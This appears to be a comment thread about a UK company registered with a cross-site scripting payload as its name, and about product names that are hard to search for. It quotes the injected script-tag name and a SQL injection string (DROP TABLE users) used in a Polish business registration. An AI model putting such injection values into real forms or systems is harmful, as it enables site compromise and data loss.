Relevant discussion on the Companies House Developer Forum:
https://forum.aws.chdev.org/t/cross-site-scripting-xss-softw...
Not to be confused with the equally inspired https://find-and-update.company-information.service.gov.uk/c...
a) Incorporate directly via Companies House
The standard registration fee to set up a company is just £12 for the ‘standard’ Companies House web incorporation service, which takes up to 24 hours to turnaround. You can pay via credit card, debit card or PayPal.
Source: https://www.itcontracting.com/how-much-limited-company-cost/
One day, they get a new customer called "Select". Absolutely everything stopped working.
Apparently the name used to be
\"><SCRIPT SRC=MJT.XSS.HT></SCRIPT> LTD \"><SCRIPT SRC=MJT.XSS.HT></SCRIPT> LTD/* THIS SUBDOMAIN HAS BEEN BANNED FROM THE XSS HUNTER SERVICE.
WE DO NOT ALLOW ABUSE OF OUR SERVICE, ALL SECURITY TESTING MUST BE AUTHORIZED.
Please use our contact form if you believe this ban was a mistake: https://xsshunter.com/contact */
Tried it in chrome and sees it as a file name on the current domain.
...
>I am in the process of contacting every website that has triggered my script which has a readily available contact for submitting security issues, or a hackerone account or similar. Alas, the sort of websites that have XSS problems rarely list IT security contacts.
^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
The authority section (which contains the host domain) must begin with "//" whether there's a scheme prefix or not. Otherwise it's just part of the path (or query or fragment). IIRC, these semantics are also fixed by HTML such that any attribute like HREF or SRC is parsed as-if using the canonical regex (but after entity substitution and whitespace trimming). Browsers might have implemented this differently many years ago, but I doubt it as it would conflict with being able to use a bare path atom (e.g. foo.html).
[1] I normally eschew using regular expressions for proper parsing, but for URLs the canonical expression is both adequate and advisable for correctness.
So if you're gonna Google it, don't use the URL bar.
For example you can use the characters w,i,n,d,s,o,r but catenated in an ordered string means you have to get special permission.
Arguably the attempt to register this was an attempt to breech the Computer Misuse Act (which would make it illegal).
I've started working with some software called STACK recently, and it's almost impossible to find anything by searching (go ahead and try!). If it was a commercial product they would be sunk.
Even if I google ":different" company or without the colon, top results for me is a parfumerie.
When I google different australia, you're the top result.
I've started using Apple's Aperture software recently (I'm well aware it's been discontinued). I really like it, but my biggest frustration is that it's difficult to learn how to do new things, because "aperture" is a generic word in photography. I can't search for the name and get results about the software.
The creator mentioned that he picked the names because they were pronounceable, unique, memorable, and searchable. That misses out on meaningfulness and familiarity, but those are expensive - by dropping those requirements, you gain easy SEO, trademarks, domains, etc. A big company knowing they're going to sell millions of copies can spend 5 figures on a domain and 6 figures on SEO, but I don't think it's worth it for most startups.
Limiting the dates to indexes before 2016 might help (at least with google). You can usually train google to get you what you want after a few searches. This was initially a problem with the Elixir programming language, but it learned what I actually wanted it started letting me just type in the term elixir without specifying it was a programming language. On other computers not associated with that account, it does revert back to the not-so-useful results.
e.g.
apple "aperture" color correction before:2016It was usually musical albums that liked to have names that made it impossible for fans to find the music.
The band 'Audiobooks' has taken this to the next level
You’ll never find them on YouTube or google unless you search for their informal name: chk chk chk
Terrible Google SEO, great accidental Apple SEO.
Dariusz Jakubowski x'; DROP TABLE users; SELECT '1
[0] https://prod.ceidg.gov.pl/CEIDG/ceidg.public.ui/SearchDetail... (check the reCAPTCHA and click "Dalej")
Seems like a regulation to add "computer code like expressions" to the list that requires prior approval of the Secretary of State might be useful.
On that point though, searching on the UK trademark registry it looks like it just strips non-alphanumeric symbols. A search for "Moz://a” returns "moza".
(Yes, the description is inaccurate.)
Edit: This is a different company, actually.
See also "BETTS & TWINE LTD" https://find-and-update.company-information.service.gov.uk/c...
SAFDASD & SFSAF \' SFDAASF\" LTD https://find-and-update.company-information.service.gov.uk/c...
[1]: https://forum.aws.chdev.org/t/cross-site-scripting-xss-softw...
Not saying they were compromised.
Those are both funny and confusing names, but they don’t warrant comparison to sql-injections, so I am guessing there’s another name with actual HTML tags.